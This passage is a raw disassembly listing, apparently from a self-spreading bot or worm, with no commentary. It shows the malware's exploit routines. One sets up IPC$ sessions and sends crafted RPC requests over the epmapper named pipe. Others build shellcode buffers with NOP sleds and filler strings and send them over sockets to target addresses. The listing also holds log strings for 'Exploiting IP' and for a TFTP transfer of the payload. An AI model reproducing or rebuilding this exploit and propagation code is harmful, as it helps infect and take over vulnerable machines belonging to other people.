		inc	[ebp+arg_4]
		jmp	short loc_41401A
; ---------------------------------------------------------------------------


loc_413FF1:				; CODE XREF: sub_413FBC+27j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		inc	esi
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_413F28
		mov	esi, [ebp+arg_0]
		jmp	short loc_414018
; ---------------------------------------------------------------------------


loc_414007:				; CODE XREF: sub_413FBC+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_414050
		mov	esi, [ebp+arg_0]
		dec	esi


loc_414018:				; CODE XREF: sub_413FBC+49j
		pop	ecx
		pop	ecx


loc_41401A:				; CODE XREF: sub_413FBC+33j
		inc	esi
		mov	[ebp+arg_0], esi


loc_41401E:				; CODE XREF: sub_413FBC+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_413FC8
		jmp	short loc_41402F
; ---------------------------------------------------------------------------


loc_414026:				; CODE XREF: sub_413FBC+76j
		cmp	eax, 1
		jnz	short loc_41404B
		inc	esi
		mov	[ebp+arg_0], esi


loc_41402F:				; CODE XREF: sub_413FBC+Fj
					; sub_413FBC+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_414026
		cmp	eax, 1
		jnz	short loc_41404B
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_41404B
		cmp	byte ptr [esi],	0
		jnz	short loc_41404B
		xor	eax, eax
		inc	eax
		jmp	short loc_41404D
; ---------------------------------------------------------------------------


loc_41404B:				; CODE XREF: sub_413FBC+6Dj
					; sub_413FBC+7Bj ...
		xor	eax, eax


loc_41404D:				; CODE XREF: sub_413FBC+8Dj
		pop	esi
		pop	ebp
		retn
sub_413FBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414050	proc near		; CODE XREF: sub_413FBC+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		inc	dword ptr [esi]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		xor	ebx, ebx
		jmp	short loc_41407F
; ---------------------------------------------------------------------------


loc_41406A:				; CODE XREF: sub_414050+35j
		mov	cl, [eax]
		cmp	cl, 3Fh
		jz	short loc_41407B
		cmp	cl, 2Ah
		jnz	short loc_414087
		cmp	cl, 3Fh
		jnz	short loc_41407D


loc_41407B:				; CODE XREF: sub_414050+1Fj
		inc	dword ptr [edi]


loc_41407D:				; CODE XREF: sub_414050+29j
		inc	dword ptr [esi]


loc_41407F:				; CODE XREF: sub_414050+18j
		mov	ecx, [edi]
		cmp	[ecx], bl
		mov	eax, [esi]
		jnz	short loc_41406A


loc_414087:				; CODE XREF: sub_414050+24j
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_414096


loc_41408C:				; CODE XREF: sub_414050+44j
		inc	eax
		mov	ecx, eax
		mov	[esi], eax
		cmp	byte ptr [ecx],	2Ah
		jz	short loc_41408C


loc_414096:				; CODE XREF: sub_414050+3Aj
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_4140B3
		cmp	[eax], bl
		jz	short loc_4140A6
		xor	eax, eax
		jmp	short loc_414118
; ---------------------------------------------------------------------------


loc_4140A6:				; CODE XREF: sub_414050+50j
		cmp	dl, bl
		jnz	short loc_4140B3
		cmp	[eax], bl
		jnz	short loc_4140B3
		xor	eax, eax
		inc	eax
		jmp	short loc_414118
; ---------------------------------------------------------------------------


loc_4140B3:				; CODE XREF: sub_414050+4Cj
					; sub_414050+58j ...
		push	ecx
		push	eax
		call	sub_413FBC
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_414102


loc_4140C0:				; CODE XREF: sub_414050+B0j
		inc	dword ptr [edi]
		mov	ecx, [esi]
		mov	eax, [edi]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jz	short loc_4140E4


loc_4140CC:				; CODE XREF: sub_414050+92j
		mov	ecx, [esi]
		cmp	byte ptr [ecx],	5Bh
		jz	short loc_4140E4
		cmp	[eax], bl
		jz	short loc_4140F9
		inc	eax
		mov	[edi], eax
		mov	ecx, [esi]
		mov	cl, [ecx]
		mov	edx, eax
		cmp	cl, [edx]
		jnz	short loc_4140CC


loc_4140E4:				; CODE XREF: sub_414050+7Aj
					; sub_414050+81j
		cmp	[eax], bl
		jz	short loc_4140F9
		push	eax
		push	dword ptr [esi]
		call	sub_413FBC
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4140FE
; ---------------------------------------------------------------------------


loc_4140F9:				; CODE XREF: sub_414050+85j
					; sub_414050+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_4140FE:				; CODE XREF: sub_414050+A7j
		cmp	eax, ebx
		jnz	short loc_4140C0


loc_414102:				; CODE XREF: sub_414050+6Ej
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_414115
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_414115
		mov	[ebp+var_4], 1


loc_414115:				; CODE XREF: sub_414050+B6j
					; sub_414050+BCj
		mov	eax, [ebp+var_4]


loc_414118:				; CODE XREF: sub_414050+54j
					; sub_414050+61j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41411D	proc near		; CODE XREF: .text:00414548p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aIpc ; "\\IPC$"
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_42BAA8 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		mov	ecx, 8Ah
		lea	edi, [ebp+var_34E]
		rep stosd
		push	45h
		stosw
		pop	ecx
		xor	ebx, ebx
		xor	eax, eax
		mov	[ebp+var_124], bl
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		push	0FFh
		stosb
		lea	eax, [ebp+var_124]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	ebx
		push	ebx
		call	dword_4220D4	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_4185C0
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_4185C0
		mov	esi, [ebp+arg_4]
		add	esp, 10h
		lea	eax, [ebp+var_354]
		push	ebx
		mov	[esi+14h], eax
		mov	eax, offset dword_42BAA4
		push	eax
		push	eax
		push	esi
		mov	[esi+4], ebx
		mov	[esi+10h], ebx
		mov	[esi+1Ch], ebx
		call	dword_43A4D8
		cmp	eax, 5
		mov	edi, 4C3h
		jz	short loc_4141DC
		cmp	eax, edi
		jnz	short loc_4141E6


loc_4141DC:				; CODE XREF: sub_41411D+B9j
		push	ebx
		push	ebx
		push	ebx
		push	esi
		call	dword_43A4D8


loc_4141E6:				; CODE XREF: sub_41411D+BDj
		cmp	eax, 5
		jz	short loc_4141F4
		cmp	eax, edi
		jz	short loc_4141F4
		xor	eax, eax
		inc	eax
		jmp	short loc_4141F6
; ---------------------------------------------------------------------------


loc_4141F4:				; CODE XREF: sub_41411D+CCj
					; sub_41411D+D0j
		xor	eax, eax


loc_4141F6:				; CODE XREF: sub_41411D+D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41411D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141FB	proc near		; CODE XREF: .text:0041459Ap
					; .text:0041467Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aIpc ; "\\IPC$"
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_42BAA8 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		mov	ecx, 8Ah
		lea	edi, [ebp+var_34E]
		rep stosd
		push	45h
		stosw
		pop	ecx
		xor	ebx, ebx
		xor	eax, eax
		mov	[ebp+var_124], bl
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		push	0FFh
		stosb
		lea	eax, [ebp+var_124]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	ebx
		push	ebx
		call	dword_4220D4	; MultiByteToWideChar
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_4185C0
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_4185C0
		add	esp, 10h
		jmp	short loc_414295
; ---------------------------------------------------------------------------


loc_41428A:				; CODE XREF: sub_4141FB+ABj
		push	7D0h
		call	dword_422000	; Sleep


loc_414295:				; CODE XREF: sub_4141FB+8Dj
		push	ebx
		lea	eax, [ebp+var_354]
		push	ebx
		push	eax
		call	dword_43A330
		test	eax, eax
		jnz	short loc_41428A
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_4141FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142AE	proc near		; CODE XREF: .text:004145C6p
					; .text:00414701p

var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1FE4	= dword	ptr -1FE4h
var_1FD8	= byte ptr -1FD8h
var_1F31	= byte ptr -1F31h
var_1008	= byte ptr -1008h
var_1000	= dword	ptr -1000h
var_FF8		= dword	ptr -0FF8h
var_F88		= dword	ptr -0F88h
var_F84		= dword	ptr -0F84h
var_F54		= dword	ptr -0F54h
var_F50		= dword	ptr -0F50h
var_F38		= dword	ptr -0F38h
var_E7C		= dword	ptr -0E7Ch
var_CA8		= dword	ptr -0CA8h
var_CA0		= dword	ptr -0CA0h
var_C98		= byte ptr -0C98h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3008h
		call	sub_416B20
		push	ebx
		push	offset byte_42FD48
		push	[ebp+arg_0]
		mov	[ebp+var_8], 0A7h
		call	sub_408852
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3008]
		push	1000h
		push	eax
		call	sub_412078
		mov	ebx, eax
		add	esp, 10h
		test	ebx, ebx
		mov	[ebp+var_4], ebx
		jz	loc_41451D
		push	esi
		push	edi
		push	0Ch
		pop	ecx
		mov	esi, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		lea	edi, [ebp+var_2008]
		rep movsd
		push	29h
		pop	ecx
		mov	eax, 90909090h
		lea	edi, [ebp+var_1FD8]
		rep stosd
		stosw
		stosb
		mov	ecx, ebx
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [ebp+var_3008]
		lea	edi, [ebp+var_1F31]
		rep movsd
		mov	ecx, eax
		add	ebx, 0D7h
		jmp	short loc_414388
; ---------------------------------------------------------------------------


loc_414337:				; CODE XREF: sub_4142AE+EAj
		mov	ebx, [ebp+var_8]
		inc	ebx
		push	0Ch
		pop	ecx
		mov	esi, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		lea	edi, [ebp+var_2008]
		rep movsd
		mov	ecx, ebx
		mov	edx, ecx
		shr	ecx, 2
		mov	eax, 90909090h
		lea	edi, [ebp+var_1FD8]
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		mov	edx, ecx
		lea	edi, [ebp+ebx+var_1FD8]
		shr	ecx, 2
		lea	esi, [ebp+var_3008]
		mov	[ebp+var_8], ebx
		rep movsd
		mov	ecx, edx
		lea	ebx, [ebx+eax+30h]


loc_414388:				; CODE XREF: sub_4142AE+87j
		and	ecx, 3
		mov	eax, ebx
		push	10h
		rep movsb
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jnz	short loc_414337
		cmp	[ebp+arg_C4], 0
		jz	short loc_4143BC
		cmp	[ebp+arg_C0], 3
		jz	short loc_4143B5
		cmp	[ebp+arg_C0], 0
		jnz	short loc_4143CA


loc_4143B5:				; CODE XREF: sub_4142AE+FCj
		mov	eax, dword_4308DC
		jmp	short loc_4143CF
; ---------------------------------------------------------------------------


loc_4143BC:				; CODE XREF: sub_4142AE+F3j
		cmp	[ebp+arg_C0], 3
		mov	eax, dword_4308DC
		jz	short loc_4143CF


loc_4143CA:				; CODE XREF: sub_4142AE+105j
		mov	eax, dword_4308D8


loc_4143CF:				; CODE XREF: sub_4142AE+10Cj
					; sub_4142AE+11Aj
		mov	[ebp+var_1FE4],	eax
		mov	ecx, 0D8h
		mov	esi, offset dword_430410
		lea	edi, [ebp+var_1008]
		rep movsd
		mov	esi, offset dword_430774
		lea	edi, [ebp+var_CA8]
		movsd
		movsd
		movsd
		movsd
		mov	ecx, ebx
		mov	eax, ecx
		shr	ecx, 2
		lea	esi, [ebp+var_2008]
		lea	edi, [ebp+var_C98]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	0Fh
		pop	ecx
		lea	eax, [ebx+370h]
		lea	edi, [ebp+eax+var_1008]
		add	eax, 3Ch
		mov	esi, offset off_430788
		rep movsd
		lea	edi, [ebp+eax+var_1008]
		push	0Ch
		pop	ecx
		mov	esi, offset dword_4307C8
		rep movsd
		lea	esi, [eax+30h]
		mov	eax, ebx
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA8], eax
		add	[ebp+var_CA0], eax
		mov	eax, [ebp+var_1000]
		lea	eax, [eax+ebx-0Ch]
		mov	[ebp+var_1000],	eax
		mov	eax, [ebp+var_FF8]
		lea	eax, [eax+ebx-0Ch]
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_F88]
		lea	eax, [eax+ebx-0Ch]
		mov	[ebp+var_F88], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+ebx-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F54]
		lea	eax, [eax+ebx-0Ch]
		mov	[ebp+var_F54], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+ebx-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F38]
		lea	eax, [eax+ebx-0Ch]
		mov	[ebp+var_F38], eax
		mov	eax, [ebp+var_E7C]
		lea	eax, [eax+ebx-0Ch]
		lea	edi, [esi+1]
		push	edi
		mov	[ebp+var_4], esi
		mov	[ebp+var_E7C], eax
		call	sub_416DAF
		pop	ecx
		mov	ecx, edi
		mov	ebx, ecx
		mov	edx, eax
		shr	ecx, 2
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb
		mov	ecx, esi
		lea	esi, [ebp+var_1008]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [ebp+arg_BC]
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_4]
		pop	edi
		mov	[eax], ecx
		mov	eax, edx
		pop	esi


loc_41451D:				; CODE XREF: sub_4142AE+3Fj
		pop	ebx
		leave
		retn
sub_4142AE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_416B20
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_41468E
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41411D
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_414798
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_416905
		add	esp, 0Ch
		xor	ebx, ebx
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		lea	eax, [ebp-338h]
		push	eax
		call	dword_422034	; CreateFileA
		mov	[ebp-4], eax
		cmp	eax, 0FFFFFFFFh
		lea	eax, [ebp+0Ch]
		jnz	short loc_4145A5


loc_414599:				; CODE XREF: .text:00414646j
		push	eax
		call	sub_4141FB
		pop	ecx
		jmp	loc_414798
; ---------------------------------------------------------------------------


loc_4145A5:				; CODE XREF: .text:00414597j
		push	2
		push	eax
		call	sub_403FEB
		pop	ecx
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_4142AE
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_41463A
		push	186A0h
		call	sub_416DAF
		pop	ecx
		mov	esi, eax
		push	ebx
		xor	eax, eax
		mov	ecx, 61A8h
		mov	edi, esi
		rep stosd
		lea	eax, [ebp-0Ch]
		push	eax
		mov	edi, 2710h
		push	edi
		push	esi
		push	48h
		push	offset dword_4303C0
		push	dword ptr [ebp-4]
		call	dword_422134	; TransactNamedPipe
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_41462A
		push	ebx
		lea	eax, [ebp-14h]
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		call	dword_422030	; WriteFile
		test	eax, eax
		jnz	short loc_41464B


loc_41462A:				; CODE XREF: .text:00414610j
		push	esi
		call	sub_416C97
		push	dword ptr [ebp-8]
		call	sub_416C97
		pop	ecx
		pop	ecx


loc_41463A:				; CODE XREF: .text:004145D6j
		push	dword ptr [ebp-4]
		call	dword_42202C	; CloseHandle
		lea	eax, [ebp+0Ch]
		jmp	loc_414599
; ---------------------------------------------------------------------------


loc_41464B:				; CODE XREF: .text:00414628j
		push	ebx
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		call	dword_42208C	; ReadFile
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_416C97
		push	esi
		call	sub_416C97
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	dword_42202C	; CloseHandle
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_4141FB
		cmp	edi, 1
		pop	ecx
		jnz	loc_4147AC
		jmp	loc_414798
; ---------------------------------------------------------------------------


loc_41468E:				; CODE XREF: .text:0041453Aj
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_403FEB
		mov	esi, eax
		cmp	esi, 1
		pop	ecx
		pop	ecx
		jz	loc_414798
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43A39C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_414798
		push	dword ptr [ebp+0A8h]
		xor	eax, eax
		lea	edi, [ebp-24h]
		stosd
		stosd
		stosd
		stosd
		mov	word ptr [ebp-24h], 2
		call	dword_43A4F4	; ntohs
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43A414	; inet_addr
		push	ebx
		push	esi
		mov	[ebp-20h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_4142AE
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_41471A
		push	dword ptr [ebp-4]
		jmp	short loc_414792
; ---------------------------------------------------------------------------


loc_41471A:				; CODE XREF: .text:00414713j
		mov	edi, [ebp-4]
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	edi
		call	dword_43A34C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414732


loc_41472F:				; CODE XREF: .text:00414744j
		push	esi
		jmp	short loc_41478B
; ---------------------------------------------------------------------------


loc_414732:				; CODE XREF: .text:0041472Dj
		push	ebx
		push	48h
		push	offset dword_4303C0
		push	edi
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41472F
		push	ebx
		mov	esi, 1000h
		push	esi
		lea	eax, [ebp-1338h]
		push	eax
		push	edi
		call	dword_43A304	; recv
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414773
		push	dword ptr [ebp-8]
		jmp	short loc_41478B
; ---------------------------------------------------------------------------


loc_414773:				; CODE XREF: .text:0041476Cj
		push	ebx
		push	esi
		lea	eax, [ebp-1338h]
		push	eax
		push	edi
		call	dword_43A304	; recv
		cmp	eax, 0FFFFFFFFh
		push	dword ptr [ebp-8]
		jnz	short loc_41479F


loc_41478B:				; CODE XREF: .text:00414730j
					; .text:00414771j
		call	sub_416C97
		pop	ecx
		push	edi


loc_414792:				; CODE XREF: .text:00414718j
		call	dword_43A4B0	; closesocket


loc_414798:				; CODE XREF: .text:00414551j
					; .text:004145A0j ...
		xor	eax, eax
		jmp	loc_414857
; ---------------------------------------------------------------------------


loc_41479F:				; CODE XREF: .text:00414789j
		call	sub_416C97
		pop	ecx
		push	edi
		call	dword_43A4B0	; closesocket


loc_4147AC:				; CODE XREF: .text:00414683j
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTran_1 ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		xor	esi, esi


loc_4147C6:				; CODE XREF: .text:004147E6j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_401FAD
		test	eax, eax
		pop	ecx
		jnz	short loc_4147EA
		push	1388h
		call	dword_422000	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_4147C6
		jmp	short loc_414854
; ---------------------------------------------------------------------------


loc_4147EA:				; CODE XREF: .text:004147D5j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_416905
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_414836
		push	ebx
		push	dword ptr [ebp+0B8h]
		lea	eax, [ebp-234h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_405D20
		add	esp, 14h


loc_414836:				; CODE XREF: .text:00414817j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_401ECD
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		lea	eax, dword_42E070[eax]
		inc	dword ptr [eax]
		pop	ecx


loc_414854:				; CODE XREF: .text:004147E8j
		xor	eax, eax
		inc	eax


loc_414857:				; CODE XREF: .text:0041479Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 4210h
		call	sub_416B20
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_403FEB
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4149D2
		cmp	eax, 1
		jz	loc_4149D2
		push	0
		push	1
		push	2
		call	dword_43A39C	; socket
		mov	ebx, eax
		xor	eax, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4149D4
		push	dword ptr [ebp+0A8h]
		lea	edi, [ebp-10h]
		stosd
		stosd
		stosd
		stosd
		mov	word ptr [ebp-10h], 2
		call	dword_43A4F4	; ntohs
		mov	[ebp-0Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43A414	; inet_addr
		push	offset byte_42FD48
		push	dword ptr [ebp+8]
		mov	[ebp-0Ch], eax
		call	sub_408852
		pop	ecx
		push	eax
		mov	esi, 1000h
		lea	eax, [ebp-2210h]
		push	esi
		push	eax
		call	sub_412078
		add	esp, 10h
		test	eax, eax
		jz	loc_4149D2
		push	122h
		push	offset loc_4308E0
		lea	eax, [ebp-4210h]
		push	esi
		push	eax
		call	sub_411F71
		mov	eax, 12Eh
		add	[ebp-0EB0h], eax
		add	[ebp-0EA8h], eax
		mov	eax, 250h
		add	[ebp-1208h], eax
		add	[ebp-1200h], eax
		add	[ebp-1190h], eax
		add	[ebp-118Ch], eax
		add	[ebp-115Ch], eax
		add	[ebp-1158h], eax
		add	[ebp-1140h], eax
		add	[ebp-1084h], eax
		add	esp, 10h
		push	10h
		lea	eax, [ebp-10h]
		push	eax
		push	ebx
		call	dword_43A34C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41496E


loc_41496B:				; CODE XREF: .text:00414982j
					; .text:0041499Bj ...
		push	ebx
		jmp	short loc_4149CC
; ---------------------------------------------------------------------------


loc_41496E:				; CODE XREF: .text:00414969j
		xor	edi, edi
		push	edi
		push	48h
		push	offset dword_430A08
		push	ebx
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41496B
		push	edi
		push	esi
		lea	eax, [ebp-3210h]
		push	eax
		push	ebx
		call	dword_43A304	; recv
		cmp	byte ptr [ebp-320Eh], 0Ch
		jnz	short loc_41496B
		push	edi
		push	edi
		lea	eax, [ebp-1210h]
		push	eax
		push	ebx
		call	dword_43A438	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41496B
		push	edi
		push	esi
		lea	eax, [ebp-3210h]
		push	eax
		push	ebx
		call	dword_43A304	; recv
		cmp	byte ptr [ebp-320Eh], 3
		push	ebx
		jnz	short loc_4149D9


loc_4149CC:				; CODE XREF: .text:0041496Cj
		call	dword_43A4B0	; closesocket


loc_4149D2:				; CODE XREF: .text:0041487Bj
					; .text:00414884j ...
		xor	eax, eax


loc_4149D4:				; CODE XREF: .text:0041489Dj
					; .text:00414A8Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4149D9:				; CODE XREF: .text:004149CAj
		call	dword_43A4B0	; closesocket
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-210h]
		push	offset aTftpFileTran_1 ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		xor	esi, esi


loc_4149F9:				; CODE XREF: .text:00414A19j
		lea	eax, [ebp-210h]
		push	eax
		call	sub_401FAD
		test	eax, eax
		pop	ecx
		jnz	short loc_414A1D
		push	1388h
		call	dword_422000	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_4149F9
		jmp	short loc_414A87
; ---------------------------------------------------------------------------


loc_414A1D:				; CODE XREF: .text:00414A08j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		lea	eax, [ebp-210h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_416905
		add	esp, 10h
		cmp	[ebp+0BCh], edi
		jnz	short loc_414A69
		push	edi
		push	dword ptr [ebp+0B8h]
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_405D20
		add	esp, 14h


loc_414A69:				; CODE XREF: .text:00414A4Aj
		lea	eax, [ebp-210h]
		push	eax
		call	sub_401ECD
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		lea	eax, dword_42E070[eax]
		inc	dword ptr [eax]
		pop	ecx


loc_414A87:				; CODE XREF: .text:00414A1Bj
		xor	eax, eax
		inc	eax
		jmp	loc_4149D4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		and	dword ptr [ebp-10h], 0
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_42BB90
		lea	edi, [ebp-24h]
		movsd
		movsd
		movsd
		movsd
		push	15Bh
		movsw
		mov	dword ptr [ebp-44h], 6741A1CDh
		mov	dword ptr [ebp-40h], 6741A199h
		mov	dword ptr [ebp-3Ch], 6741A426h
		mov	dword ptr [ebp-38h], 67419E1Dh
		mov	dword ptr [ebp-34h], 67419CE8h
		mov	dword ptr [ebp-30h], 0FFB7DE9h
		mov	dword ptr [ebp-2Ch], 0FFB832Fh
		call	sub_416DAF
		pop	ecx
		mov	edi, eax
		mov	[ebp-4], edi
		push	56h
		xor	eax, eax
		pop	ecx
		rep stosd
		stosw
		stosb
		mov	ecx, [ebp-4]
		mov	edi, ecx
		lea	esi, [ebp-24h]
		movsd
		movsd
		movsd
		movsd
		add	ecx, 11h
		movsw
		mov	edi, ecx
		mov	[ebp-28h], ecx
		dec	edi


loc_414B0F:				; CODE XREF: .text:00414B15j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_414B0F
		mov	esi, offset loc_42BB8C
		movsw
		movsb
		mov	edi, ecx
		dec	edi


loc_414B22:				; CODE XREF: .text:00414B28j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_414B22
